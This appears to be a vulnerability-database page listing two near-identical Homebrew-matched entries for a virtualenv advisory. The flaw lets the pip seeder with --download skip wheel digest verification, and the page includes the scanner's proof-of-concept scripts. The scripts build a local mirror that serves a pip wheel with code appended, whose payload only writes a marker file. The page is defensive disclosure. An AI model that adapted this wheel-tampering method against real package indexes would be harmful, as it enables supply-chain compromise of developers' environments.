Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    BREW-CHARM-TOOLS-CVE-202… (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-27 08:49 – Updated: 2026-11-19 08:49 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@20.39.1",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "charm-tools",
            "purl": "pkg:brew/charm-tools"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.7.3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@20.39.1",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "20.39.1"
          }
        ]
      },
      "details": "## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv\u0027s wheel digest verification.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv\u0027s `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv\u0027s default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant I as Index in pip.conf\n    participant V as virtualenv PipInvoke\n    participant P as pip install\n    participant E as Seeded environment\n    I-\u003e\u003eV: serve modified pip wheel\n    V-\u003e\u003eV: get_wheel(download=False)\n    V-\u003e\u003eP: install with --download permitting index lookup\n    P-\u003e\u003eI: select same-version index wheel\n    I-\u003e\u003eE: modified pip installed without virtualenv digest check\n    E-\u003e\u003eE: later pip invocation runs added code\n    Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI\u0027s record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n    json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel\u0027s own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves  sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n    pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\")  # file:// stands in for the mirror\u0027s http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\")  # one HOME per run, so neither sees the other\u0027s app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror\u0027s wheel and refuses it\ndefault_seeder = subprocess.run(\n    [*virtualenv, \"--download\", f\"{work}/env-default\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n    [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n    env={**os.environ, \"HOME\": f\"{work}/home-pip\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n    capture_output=True,\n    text=True,\n)\nprint(f\"\\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}\")\nprint(pip_seeder.stdout)\nif pip_seeder.returncode == 0:\n    env_pip = subprocess.run([f\"{work}/env-pip/bin/pip\", \"--version\"], capture_output=True, text=True, check=True)\n    print(f\"$ env-pip/bin/pip --version\\n{env_pip.stdout}\")\n\n# check: compare env-pip\u0027s pip/__init__.py with the one in each wheel\nwith zipfile.ZipFile(bundled.path) as wheel:\n    bundled_init = wheel.read(\"pip/__init__.py\")\nwith zipfile.ZipFile(mirror_wheel) as wheel:\n    mirror_init = wheel.read(\"pip/__init__.py\")\ninstalled = glob.glob(f\"{work}/env-pip/lib/python*/site-packages/pip/__init__.py\")\ninstalled_init = open(installed[0], \"rb\").read() if installed else b\"\"\nrefusal_message = f\"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}\"\nrefused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout\nprint(f\"default seeder refused the mirror\u0027s wheel for its digest: {refused}\")\nprint(f\"env-pip\u0027s pip/__init__.py is the bundled wheel\u0027s: {installed_init == bundled_init}, the mirror\u0027s: {installed_init == mirror_init}\")\nprint(f\"the mirror\u0027s line ran on env-pip/bin/pip --version: {os.path.exists(marker)}\")\nprint(\"BUG\" if refused and installed_init == mirror_init and os.path.exists(marker) else \"OK\")\n```\n\n**`repro.d/make_mirror.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: make_mirror.py \u003cgenuine pip wheel\u003e \u003cmirror directory\u003e \u003cmarker file the payload writes\u003e\nimport os\nimport sys\nimport zipfile\n\ngenuine_wheel, mirror, marker = sys.argv[1:]\nwheel_name = os.path.basename(genuine_wheel)\npayload = f\"\\nopen({marker!r}, \u0027w\u0027).write(\u0027mirror code ran\u0027)\\n\"\n\nos.makedirs(f\"{mirror}/pip\")\nwith zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f\"{mirror}/pip/{wheel_name}\", \"w\") as served:\n    for entry in genuine.infolist():\n        data = genuine.read(entry)\n        if entry.filename == \"pip/__init__.py\":\n            data += payload.encode()\n        served.writestr(entry, data)\n\n# PEP 503 project page; pip reads \u003cindex\u003e/pip/index.html for a file:// index\nwith open(f\"{mirror}/pip/index.html\", \"w\") as page:\n    page.write(f\u0027\u003ca href=\"{wheel_name}\"\u003e{wheel_name}\u003c/a\u003e\\n\u0027)\n```\n\n**`repro.d/virtualenv_offline.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: virtualenv_offline.py \u003cdirectory standing in for https://pypi.org\u003e \u003cvirtualenv arguments...\u003e\n# The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder\n# checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.\nimport sys\n\nfrom virtualenv.__main__ import run_with_catch\nfrom virtualenv.seed.wheels import periodic_update\n\npypi_org = sys.argv[1]\n\n\ndef pypi_json_api(url, context=None):\n    return open(url.replace(\"https://pypi.org\", pypi_org), \"rb\")\n\n\nperiodic_update.urlopen = pypi_json_api\nrun_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nThe default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by\nitself defeat TLS or establish control of an index response.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix acquires wheels through the shared verification path and installs pinned names with index lookup\ndisabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze\noutput.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nOn older releases, use embedded wheels without downloads, or acquire and verify approved seed archives\nseparately.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-74ALJBUF.",
      "id": "BREW-charm-tools-CVE-2026-113717",
      "modified": "2026-11-19T08:49:57Z",
      "published": "2026-10-27T08:49:40Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cx28-75q4-x26q"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113717"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3430"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "virtualenv: Pip seeding with download omits wheel digest verification",
      "upstream": [
        "GHSA-cx28-75q4-x26q",
        "CVE-2026-113717",
        "BIT-virtualenv-2026-113717",
        "PYSEC-2026-4376"
      ]
    }

    BREW-CONDA-LOCK-CVE-2026… (GHSA-CX28-75Q4-X26Q)

    Vulnerability from osv_homebrew – Published: 2026-10-29 21:39 – Updated: 2026-11-19 08:45 – Source website
    VLAI
    Summary
    virtualenv: Pip seeding with download omits wheel digest verification
    Details

    Summary

    The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

    Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Wheel selection by the pip seeder when downloads are enabled.

    Attacker-controlled input

    The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

    Affected code

    The relevant 21.14.8 source is in pip seeder.

    Mechanism

    With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

    Reproduction and evidence

    The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

    Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

    Attack sequence

    sequenceDiagram
        participant I as Index in pip.conf
        participant V as virtualenv PipInvoke
        participant P as pip install
        participant E as Seeded environment
        I->>V: serve modified pip wheel
        V->>V: get_wheel(download=False)
        V->>P: install with --download permitting index lookup
        P->>I: select same-version index wheel
        I->>E: modified pip installed without virtualenv digest check
        E->>E: later pip invocation runs added code
        Note over V,E: Default app-data seeder rejects the same digest
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import glob
    import hashlib
    import json
    import os
    import shutil
    import subprocess
    import sys
    import zipfile
    
    from virtualenv.seed.wheels.embed import get_embed_wheel
    
    companions = "/tmp/repro.d"
    work = "/tmp/repro-pip-seeder-download"
    shutil.rmtree(work, ignore_errors=True)
    os.makedirs(work)
    
    # set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
    bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
    pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
    pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
    os.makedirs(f"{work}/pypi.org/pypi/pip")
    with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
        json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)
    
    # attacker: the mirror serves other bytes under the bundled wheel's own file name
    marker = f"{work}/MIRROR_CODE_RAN"
    subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
    mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
    mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
    print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
    print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")
    
    # user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
    with open(f"{work}/pip.conf", "w") as pip_conf:
        pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
    os.makedirs(f"{work}/home-default")
    os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
    virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]
    
    # control: the default seeder with --download fetches the mirror's wheel and refuses it
    default_seeder = subprocess.run(
        [*virtualenv, "--download", f"{work}/env-default"],
        env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
    print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
    print("\n".join(refusal))
    
    # trigger: the same command plus --seeder pip
    pip_seeder = subprocess.run(
        [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
        env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
        capture_output=True,
        text=True,
    )
    print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
    print(pip_seeder.stdout)
    if pip_seeder.returncode == 0:
        env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
        print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")
    
    # check: compare env-pip's pip/__init__.py with the one in each wheel
    with zipfile.ZipFile(bundled.path) as wheel:
        bundled_init = wheel.read("pip/__init__.py")
    with zipfile.ZipFile(mirror_wheel) as wheel:
        mirror_init = wheel.read("pip/__init__.py")
    installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
    installed_init = open(installed[0], "rb").read() if installed else b""
    refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
    refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
    print(f"default seeder refused the mirror's wheel for its digest: {refused}")
    print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
    print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
    print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")
    

    repro.d/make_mirror.py

    #!/usr/bin/env python3
    # usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
    import os
    import sys
    import zipfile
    
    genuine_wheel, mirror, marker = sys.argv[1:]
    wheel_name = os.path.basename(genuine_wheel)
    payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"
    
    os.makedirs(f"{mirror}/pip")
    with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
        for entry in genuine.infolist():
            data = genuine.read(entry)
            if entry.filename == "pip/__init__.py":
                data += payload.encode()
            served.writestr(entry, data)
    
    # PEP 503 project page; pip reads <index>/pip/index.html for a file:// index
    with open(f"{mirror}/pip/index.html", "w") as page:
        page.write(f'<a href="{wheel_name}">{wheel_name}</a>\n')
    

    repro.d/virtualenv_offline.py

    #!/usr/bin/env python3
    # usage: virtualenv_offline.py <directory standing in for https://pypi.org> <virtualenv arguments...>
    # The `virtualenv` command, except that the PyPI JSON API request (the source of the digest the default seeder
    # checks) is answered from a local file, as tests/unit/seed/wheels/test_periodic_update.py does. pip is not touched.
    import sys
    
    from virtualenv.__main__ import run_with_catch
    from virtualenv.seed.wheels import periodic_update
    
    pypi_org = sys.argv[1]
    
    
    def pypi_json_api(url, context=None):
        return open(url.replace("https://pypi.org", pypi_org), "rb")
    
    
    periodic_update.urlopen = pypi_json_api
    run_with_catch(sys.argv[2:])
    

    Impact

    The default-index digest-verification step can be omitted when the pip seeder downloads packages. This does not by itself defeat TLS or establish control of an index response.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix acquires wheels through the shared verification path and installs pinned names with index lookup disabled. A private temporary directory contains only the selected archives. This preserves version pins in pip freeze output.

    Fix: PR #3430.

    Known mitigation

    On older releases, use embedded wheels without downloads, or acquire and verify approved seed archives separately.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-74ALJBUF.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.6",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "conda-lock",
            "purl": "pkg:brew/conda-lock"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.5.5"
                },
                {
                  "fixed": "4.1.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.6",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.6"
          }
        ]
      },
